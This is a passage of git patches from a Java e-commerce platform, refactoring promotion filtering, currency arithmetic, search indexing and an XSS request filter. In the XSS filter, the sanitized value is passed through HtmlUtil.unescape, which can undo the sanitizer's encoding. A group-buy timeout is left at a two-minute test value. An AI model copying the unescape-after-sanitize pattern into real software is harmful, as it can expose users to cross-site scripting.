RocketmqSendCallbackBuilder.commonCallback()); + } + /** * 添加商品默认图片 * @@ -522,8 +531,8 @@ public class GoodsServiceImpl extends ServiceImpl implements /** * 判断商品是否存在 * - * @param goodsId - * @return + * @param goodsId 商品id + * @return 商品信息 */ private Goods checkExist(String goodsId) { Goods goods = getById(goodsId); @@ -579,20 +588,6 @@ public class GoodsServiceImpl extends ServiceImpl implements } } - /** - * 获取UpdateWrapper(检查用户越权) - * - * @return updateWrapper - */ - private LambdaUpdateWrapper getUpdateWrapperByManagerAuthority() { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - AuthUser authUser = this.checkStoreAuthority(); - if (authUser != null) { - updateWrapper.eq(Goods::getStoreId, authUser.getStoreId()); - } - return updateWrapper; - } - /** * 获取QueryWrapper(检查用户越权) * diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberPointsHistoryServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberPointsHistoryServiceImpl.java index 6f6736da..f1557ca6 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberPointsHistoryServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberPointsHistoryServiceImpl.java @@ -1,27 +1,22 @@ package cn.lili.modules.member.serviceimpl; -import cn.lili.modules.member.entity.dos.Member; -import cn.lili.modules.member.entity.enums.PointTypeEnum; -import cn.lili.modules.member.mapper.MemberMapper; -import cn.lili.modules.member.service.MemberService; -import cn.lili.mybatis.util.PageUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; +import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dos.MemberPointsHistory; import cn.lili.modules.member.entity.vo.MemberPointsHistoryVO; import cn.lili.modules.member.mapper.MemberPointsHistoryMapper; import cn.lili.modules.member.service.MemberPointsHistoryService; +import cn.lili.modules.member.service.MemberService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; -import java.util.ArrayList; -import java.util.List; - /** * 会员积分历史业务层实现 * @@ -51,8 +46,8 @@ public class MemberPointsHistoryServiceImpl extends ServiceImpl MemberPointsHistoryList(PageVO page, String memberId, String memberName) { LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .eq(memberId != null, MemberPointsHistory::getMemberId, memberId) - .like(memberName != null, MemberPointsHistory::getMemberName, memberName); + .eq(CharSequenceUtil.isNotEmpty(memberId), MemberPointsHistory::getMemberId, memberId) + .like(CharSequenceUtil.isNotEmpty(memberName), MemberPointsHistory::getMemberName, memberName); //如果排序为空,则默认创建时间倒序 if (StringUtils.isEmpty(page.getSort())) { page.setSort("createTime"); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java index 59058dde..59f2e7ea 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java @@ -3,12 +3,12 @@ package cn.lili.modules.order.cart.entity.vo; import cn.lili.modules.distribution.entity.dos.DistributionGoods; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; +import cn.lili.modules.promotion.tools.PromotionTools; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.NoArgsConstructor; import java.io.Serializable; -import java.util.HashMap; import java.util.Map; /** @@ -115,9 +115,6 @@ public class CartSkuVO extends CartBase implements Serializable { } public Map getPromotionMap() { - if (this.promotionMap == null) { - return new HashMap<>(); - } - return promotionMap; + return PromotionTools.filterInvalidPromotionsMap(this.promotionMap); } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index 6ddd6b2c..8012158f 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -22,7 +22,6 @@ import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.service.OrderService; -import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PointsGoods; @@ -119,17 +118,6 @@ public class CheckDataRender implements CartRenderStep { //设置失效消息 cartSkuVO.setErrorMessage("商品库存不足,现有库存数量[" + dataSku.getQuantity() + "]"); } - //移除无效促销活动 - if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { - cartSkuVO.setPromotionMap(cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> { - JSONObject promotionsObj = JSONUtil.parseObj(i.getValue()); - BasePromotions basePromotions = promotionsObj.toBean(BasePromotions.class); - if (basePromotions.getStartTime() != null && basePromotions.getEndTime() != null) { - return basePromotions.getStartTime().getTime() <= System.currentTimeMillis() && basePromotions.getEndTime().getTime() >= System.currentTimeMillis(); - } - return true; - }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue))); - } } } diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index b2516414..206cfc32 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -797,7 +797,9 @@ public class OrderServiceImpl extends ServiceImpl implements if (count == 1) { //如果为开团订单,则发布一个一小时的延时任务,时间到达后,如果未成团则自动结束(未开启虚拟成团的情况下) PintuanOrderMessage pintuanOrderMessage = new PintuanOrderMessage(); - long startTime = DateUtil.offsetHour(new Date(), 1).getTime(); + //开团结束时间 +// long startTime = DateUtil.offsetHour(new Date(), 1).getTime(); + long startTime = DateUtil.offsetMinute(new Date(), 2).getTime(); pintuanOrderMessage.setOrderSn(parentOrderSn); pintuanOrderMessage.setPintuanId(pintuanId); TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, diff --git a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java index a1f21b30..1ea47de8 100644 --- a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java @@ -1,5 +1,6 @@ package cn.lili.modules.permission.serviceimpl; +import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.SearchVO; @@ -101,11 +102,8 @@ public class SystemLogServiceImpl implements SystemLogService { //大于方法 filterBuilder.must( QueryBuilders.rangeQuery("createTime") - .gte(searchVo.getConvertStartDate().getTime())); - //小于方法 - filterBuilder.must( - QueryBuilders.rangeQuery("createTime") - .lt(searchVo.getConvertEndDate().getTime())); + .gte(DateUtil.format(searchVo.getConvertStartDate(), "dd/MM/yyyy")) + .lte(DateUtil.format(searchVo.getConvertEndDate(), "dd/MM/yyyy")).format("dd/MM/yyyy||yyyy")); nativeSearchQueryBuilder.withFilter(filterBuilder); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java index 7b4e8db4..9a2f4d8f 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java @@ -69,7 +69,7 @@ public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImp kanJiaActivityGoodsDTO.setStartTime(kanJiaActivityGoodsOperationDTO.getStartTime()); kanJiaActivityGoodsDTO.setEndTime(kanJiaActivityGoodsOperationDTO.getEndTime()); //检测同一时间段不能允许添加相同的商品 - if (this.checkSkuDuplicate(goodsSku.getId(), kanJiaActivityGoodsDTO) != null) { + if (this.checkSkuDuplicate(kanJiaActivityGoodsDTO) != null) { throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!"); } kanJiaActivityGoodsDTO.setGoodsSku(goodsSku); @@ -172,13 +172,12 @@ public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImp /** * 检查砍价商品是否重复存在 * - * @param skuId 商品SkuId * @param kanJiaActivityGoodsDTO 砍价商品 * @return 积分商品信息 */ - private KanjiaActivityGoods checkSkuDuplicate(String skuId, KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO) { + private KanjiaActivityGoods checkSkuDuplicate(KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO) { QueryWrapper queryWrapper = new QueryWrapper<>(); - queryWrapper.eq("sku_id", skuId); + queryWrapper.eq("sku_id", kanJiaActivityGoodsDTO.getSkuId()); if (kanJiaActivityGoodsDTO != null && CharSequenceUtil.isNotEmpty(kanJiaActivityGoodsDTO.getId())) { queryWrapper.ne("id", kanJiaActivityGoodsDTO.getId()); } @@ -263,7 +262,7 @@ public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImp //检测开始结束时间是否正确 PromotionTools.checkPromotionTime(kanJiaActivityGoodsDTO.getStartTime(), kanJiaActivityGoodsDTO.getEndTime()); //检测同一时间段不能允许添加相同的商品 - if (this.checkSkuDuplicate(goodsSku.getId(), kanJiaActivityGoodsDTO) != null) { + if (this.checkSkuDuplicate(kanJiaActivityGoodsDTO) != null) { throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!"); } this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(kanJiaActivityGoodsDTO.getId())); diff --git a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java index 48e9dfc8..125bde42 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java +++ b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java @@ -3,6 +3,8 @@ package cn.lili.modules.promotion.tools; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; @@ -11,10 +13,9 @@ import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import java.util.Arrays; -import java.util.Date; -import java.util.List; +import java.util.*; import java.util.function.Consumer; +import java.util.stream.Collectors; /** @@ -157,4 +158,19 @@ public class PromotionTools { return nextHour; } + public static Map filterInvalidPromotionsMap(Map map) { + if (map == null) { + return new HashMap<>(); + } + //移除无效促销活动 + return map.entrySet().stream().filter(i -> { + JSONObject promotionsObj = JSONUtil.parseObj(i.getValue()); + BasePromotions basePromotions = promotionsObj.toBean(BasePromotions.class); + if (basePromotions.getStartTime() != null && basePromotions.getEndTime() != null) { + return basePromotions.getStartTime().getTime() <= System.currentTimeMillis() && basePromotions.getEndTime().getTime() >= System.currentTimeMillis(); + } + return true; + }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue)); + } + } diff --git a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java index 66ffdd64..9576d6b9 100644 --- a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java +++ b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java @@ -4,6 +4,7 @@ import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.elasticsearch.EsSuffix; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsParamsDTO; +import cn.lili.modules.promotion.tools.PromotionTools; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModelProperty; import lombok.Data; @@ -378,4 +379,8 @@ public class EsGoodsIndex implements Serializable { this.releaseTime = new Date(); } } + + public Map getPromotionMap() { + return PromotionTools.filterInvalidPromotionsMap(this.promotionMap); + } } From 9a6102e887d3d8d6834a748a03c127dfb1903242 Mon Sep 17 00:00:00 2001 From: paulGao Date: Fri, 7 Jan 2022 17:46:42 +0800 Subject: [PATCH 135/145] =?UTF-8?q?=E4=BC=98=E5=8C=96xss=E8=BF=87=E6=BB=A4?= =?UTF-8?q?=EF=BC=8C=E4=BD=BF=E7=94=A8owasp=E7=9A=84=E9=A2=84=E8=AE=BE?= =?UTF-8?q?=E8=A7=84=E5=88=99=E8=BF=87=E6=BB=A4=E3=80=82=E4=BC=98=E5=8C=96?= =?UTF-8?q?=E4=BB=A3=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/listener/GoodsMessageListener.java | 1 + .../filter/XssHttpServletRequestWrapper.java | 26 ++++++++++++------- .../dto/DistributionGoodsSearchParams.java | 7 ++--- .../DistributionSelectedGoodsService.java | 10 +++---- .../DistributionSelectedGoodsServiceImpl.java | 6 ----- 5 files changed, 27 insertions(+), 23 deletions(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 95c07362..1d69b148 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -133,6 +133,7 @@ public class GoodsMessageListener implements RocketMQListener { case GENERATOR_GOODS_INDEX: try { String goodsId = new String(messageExt.getBody()); + log.info("生成索引: {}", goodsId); Goods goods = this.goodsService.getById(goodsId); updateGoodsIndex(goods); } catch (Exception e) { diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index 4e6d6f93..2aca42cb 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -2,6 +2,7 @@ package cn.lili.common.security.filter; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.http.HtmlUtil; import cn.hutool.json.JSONUtil; import lombok.extern.slf4j.Slf4j; import org.owasp.html.Sanitizers; @@ -17,7 +18,6 @@ import java.io.InputStreamReader; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.LinkedHashMap; -import java.util.Locale; import java.util.Map; /** @@ -257,9 +257,16 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { private String cleanXSS(String value) { if (value != null) { - value = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize(value); + // basic prepackaged policies for links, tables, integers, images, styles, blocks + value = Sanitizers.FORMATTING + .and(Sanitizers.STYLES) + .and(Sanitizers.IMAGES) + .and(Sanitizers.LINKS) + .and(Sanitizers.BLOCKS) + .and(Sanitizers.TABLES) + .sanitize(value); } - return value; + return HtmlUtil.unescape(value); } /** @@ -270,12 +277,13 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { * @return 参数值 */ private String filterXss(String name, String value) { - if (CharSequenceUtil.containsAny(name.toLowerCase(Locale.ROOT), IGNORE_FIELD)) { - // 忽略的处理,(过滤敏感字符) - return value; - } else { - return cleanXSS(value); - } +// if (CharSequenceUtil.containsAny(name.toLowerCase(Locale.ROOT), IGNORE_FIELD)) { +// // 忽略的处理,(过滤敏感字符) +// return value; +// } else { +// return cleanXSS(value); +// } + return cleanXSS(value); } } diff --git a/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java index 4f895f69..4f9cd438 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java @@ -2,13 +2,14 @@ package cn.lili.modules.distribution.entity.dto; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; -import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; +import java.util.Objects; + /** * 分销员商品查询条件 * @@ -37,13 +38,13 @@ public class DistributionGoodsSearchParams extends PageVO { public QueryWrapper storeQueryWrapper() { QueryWrapper queryWrapper = this.distributionQueryWrapper(); - queryWrapper.eq("dg.store_id", UserContext.getCurrentUser().getStoreId()); + queryWrapper.eq("dg.store_id", Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId()); return queryWrapper; } public QueryWrapper distributionQueryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); - queryWrapper.like(StringUtils.isNotEmpty(goodsName), "dg.goods_name", goodsName); + queryWrapper.like(CharSequenceUtil.isNotEmpty(goodsName), "dg.goods_name", goodsName); return queryWrapper; } diff --git a/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java b/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java index 733475f9..5a11b548 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java @@ -13,21 +13,21 @@ public interface DistributionSelectedGoodsService extends IService() From ad1f086e4d335133f8ce888e331395638af19acf Mon Sep 17 00:00:00 2001 From: paulGao Date: Fri, 7 Jan 2022 18:23:14 +0800 Subject: [PATCH 136/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E7=94=9F=E6=88=90?= =?UTF-8?q?=E7=B4=A2=E5=BC=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/listener/GoodsMessageListener.java | 4 ++ .../serviceimpl/GoodsSkuServiceImpl.java | 40 +++++++++++-------- 2 files changed, 27 insertions(+), 17 deletions(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 1d69b148..070b3b08 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -312,6 +312,8 @@ public class GoodsMessageListener implements RocketMQListener { GoodsSearchParams searchParams = new GoodsSearchParams(); searchParams.setGoodsId(goods.getId()); List goodsSkuList = this.goodsSkuService.getGoodsSkuByList(searchParams); + log.info("goods:{}", goods); + log.info("goodsSkuList:{}", goodsSkuList); if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name()) && Boolean.FALSE.equals(goods.getDeleteFlag())) { @@ -340,6 +342,8 @@ public class GoodsMessageListener implements RocketMQListener { EsGoodsIndex esGoodsOld = goodsIndexService.findById(goodsSku.getId()); EsGoodsIndex goodsIndex = this.settingUpGoodsIndexData(goods, goodsSku); goodsIndex.setSkuSource(skuSource--); + log.info("goodsSku:{}", goodsSku); + log.info("esGoodsOld:{}", esGoodsOld); //如果商品库存不为0,并且es中有数据 if (goodsSku.getQuantity() > 0 && esGoodsOld == null) { log.info("生成商品索引 {}", goodsIndex); diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index e310faba..8f458c69 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -3,7 +3,6 @@ package cn.lili.modules.goods.serviceimpl; import cn.hutool.core.convert.Convert; import cn.hutool.core.map.MapUtil; import cn.hutool.core.text.CharSequenceUtil; -import cn.hutool.core.thread.ThreadUtil; import cn.hutool.core.util.NumberUtil; import cn.hutool.core.util.StrUtil; import cn.hutool.json.JSONObject; @@ -123,7 +122,9 @@ public class GoodsSkuServiceImpl extends ServiceImpl i } this.updateStock(newSkuList); - generateEs(goods); + if (!newSkuList.isEmpty()) { + generateEs(goods); + } } @Override @@ -140,9 +141,9 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //删除旧索引 for (GoodsSkuVO goodsSkuVO : goodsListByGoodsId) { oldSkuIds.add(goodsSkuVO.getId()); - goodsIndexService.deleteIndexById(goodsSkuVO.getId()); cache.remove(GoodsSkuService.getCacheKeys(goodsSkuVO.getId())); } + goodsIndexService.deleteIndexByIds(oldSkuIds); this.removeByIds(oldSkuIds); //删除sku相册 goodsGalleryService.removeByIds(oldSkuIds); @@ -170,7 +171,9 @@ public class GoodsSkuServiceImpl extends ServiceImpl i this.updateBatchById(newSkuList); } this.updateStock(newSkuList); - generateEs(goods); + if (!newSkuList.isEmpty()) { + generateEs(goods); + } } /** @@ -329,7 +332,9 @@ public class GoodsSkuServiceImpl extends ServiceImpl i cache.remove(GoodsSkuService.getCacheKeys(sku.getId())); cache.put(GoodsSkuService.getCacheKeys(sku.getId()), sku); } - generateEs(goods); + if (!goodsSkus.isEmpty()) { + generateEs(goods); + } } } @@ -564,18 +569,19 @@ public class GoodsSkuServiceImpl extends ServiceImpl i if (!GoodsStatusEnum.UPPER.name().equals(goods.getMarketEnable()) || !GoodsAuthEnum.PASS.name().equals(goods.getAuthFlag())) { return; } - ThreadUtil.execAsync(() -> { - try { - // 延时执行,防止商品未保存完成就去生成商品索引导致生成索引时找不到商品问题 - Thread.sleep(2000); - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GENERATOR_GOODS_INDEX.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, goods.getId(), RocketmqSendCallbackBuilder.commonCallback()); - } catch (InterruptedException e) { - log.error("发送商品索引信息失败!", e); - Thread.currentThread().interrupt(); - } - }); + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GENERATOR_GOODS_INDEX.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, goods.getId(), RocketmqSendCallbackBuilder.commonCallback()); +// ThreadUtil.execAsync(() -> { +// try { +// // 延时执行,防止商品未保存完成就去生成商品索引导致生成索引时找不到商品问题 +// Thread.sleep(2000); +// +// } catch (InterruptedException e) { +// log.error("发送商品索引信息失败!", e); +// Thread.currentThread().interrupt(); +// } +// }); } /** From 11f9ddaeb63510a286348d830bd758e169431ee0 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 10 Jan 2022 09:41:07 +0800 Subject: [PATCH 137/145] =?UTF-8?q?=E6=9B=B4=E4=BC=98=E9=9B=85=E7=9A=84?= =?UTF-8?q?=E5=AE=9E=E7=8E=B0=E4=BB=B7=E6=A0=BC=E5=8A=A0=E5=87=8F=E6=B3=95?= =?UTF-8?q?=E8=BF=90=E7=AE=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/common/utils/CurrencyUtil.java | 34 +++++++++++-------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java b/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java index 7e77edcb..74f12d7c 100644 --- a/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java +++ b/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java @@ -2,6 +2,7 @@ package cn.lili.common.utils; import java.math.BigDecimal; import java.math.RoundingMode; +import java.util.Arrays; /** * 金额计算工具 @@ -24,27 +25,30 @@ public final class CurrencyUtil { /** * 提供精确的加法运算。 * - * @param v1 被加数 - * @param v2 加数 - * @return 两个参数的和 + * @return 累加之和 */ - public static Double add(double v1, double v2) { - BigDecimal b1 = BigDecimal.valueOf(v1); - BigDecimal b2 = BigDecimal.valueOf(v2); - return b1.add(b2).setScale(2, RoundingMode.HALF_UP).doubleValue(); + public static Double add(double... params) { + BigDecimal result = new BigDecimal("0"); + for (double param : params) { + BigDecimal bigParam = BigDecimal.valueOf(param); + result = result.add(bigParam).setScale(2, RoundingMode.HALF_UP); + } + return result.doubleValue(); } /** - * 提供精确的减法运算。 + * 提供精确的加法运算。 * - * @param v1 被减数 - * @param v2 减数 - * @return 两个参数的差 + * @return 累加之和 */ - public static double sub(double v1, double v2) { - BigDecimal b1 = BigDecimal.valueOf(v1); - BigDecimal b2 = BigDecimal.valueOf(v2); - return b1.subtract(b2).setScale(2, RoundingMode.HALF_UP).doubleValue(); + public static Double sub(double... params) { + BigDecimal result = BigDecimal.valueOf(params[0]); + params = Arrays.stream(params).skip(1).toArray(); + for (double param : params) { + BigDecimal bigParam = BigDecimal.valueOf(param); + result = result.subtract(bigParam).setScale(2, RoundingMode.HALF_UP); + } + return result.doubleValue(); } /** From 643e8c8157b4619661d0ed7aa622f21e0e0a40de Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 10 Jan 2022 09:48:44 +0800 Subject: [PATCH 138/145] =?UTF-8?q?=E8=BF=9E=E7=BB=AD=E5=8A=A0=E5=87=8F?= =?UTF-8?q?=E6=96=B9=E6=B3=95=E8=BF=90=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java | 1 - .../cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java | 2 +- .../modules/order/order/serviceimpl/StoreFlowServiceImpl.java | 2 +- .../java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java | 2 +- 4 files changed, 3 insertions(+), 4 deletions(-) diff --git a/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java b/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java index 74f12d7c..6b1b9aa2 100644 --- a/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java +++ b/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java @@ -35,7 +35,6 @@ public final class CurrencyUtil { } return result.doubleValue(); } - /** * 提供精确的加法运算。 * diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java index 15724eb7..dcc9ce66 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java @@ -170,7 +170,7 @@ public class PriceDetailDTO implements Serializable { billPrice = settlementPrice; } else { //如果是普通订单最终结算金额 = flowPrice - platFormCommission - distributionCommission 流水金额-平台佣金-分销佣金 - billPrice = CurrencyUtil.sub(CurrencyUtil.sub(flowPrice, platFormCommission), distributionCommission); + billPrice = CurrencyUtil.sub(flowPrice, platFormCommission, distributionCommission); } } diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java index da22d3ab..bcb8df53 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java @@ -160,7 +160,7 @@ public class StoreFlowServiceImpl extends ServiceImpl implements Bi bill.setPointSettlementPrice(orderBill.getPointSettlementPrice()); bill.setKanjiaSettlementPrice(orderBill.getKanjiaSettlementPrice()); //入账金额=订单金额+积分商品+砍价商品 - orderPrice = CurrencyUtil.add(CurrencyUtil.add(orderBill.getBillPrice(), orderBill.getPointSettlementPrice()), + orderPrice = CurrencyUtil.add(orderBill.getBillPrice(), orderBill.getPointSettlementPrice(), orderBill.getKanjiaSettlementPrice()); } From d2cab9f4a19e5dccaa9a8226c8dd5f0a62c38f37 Mon Sep 17 00:00:00 2001 From: paulGao Date: Mon, 10 Jan 2022 18:04:21 +0800 Subject: [PATCH 139/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E5=BA=97=E9=93=BA?= =?UTF-8?q?=E7=BB=93=E7=AE=97=E5=8D=95=E7=BB=93=E7=AE=97=E9=87=91=E9=A2=9D?= =?UTF-8?q?=E5=AF=B9=E4=BA=8E=E7=A7=AF=E5=88=86=E5=95=86=E5=93=81=E5=92=8C?= =?UTF-8?q?=E7=A0=8D=E4=BB=B7=E5=95=86=E5=93=81=E9=87=8D=E5=A4=8D=E8=AE=A1?= =?UTF-8?q?=E7=AE=97=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 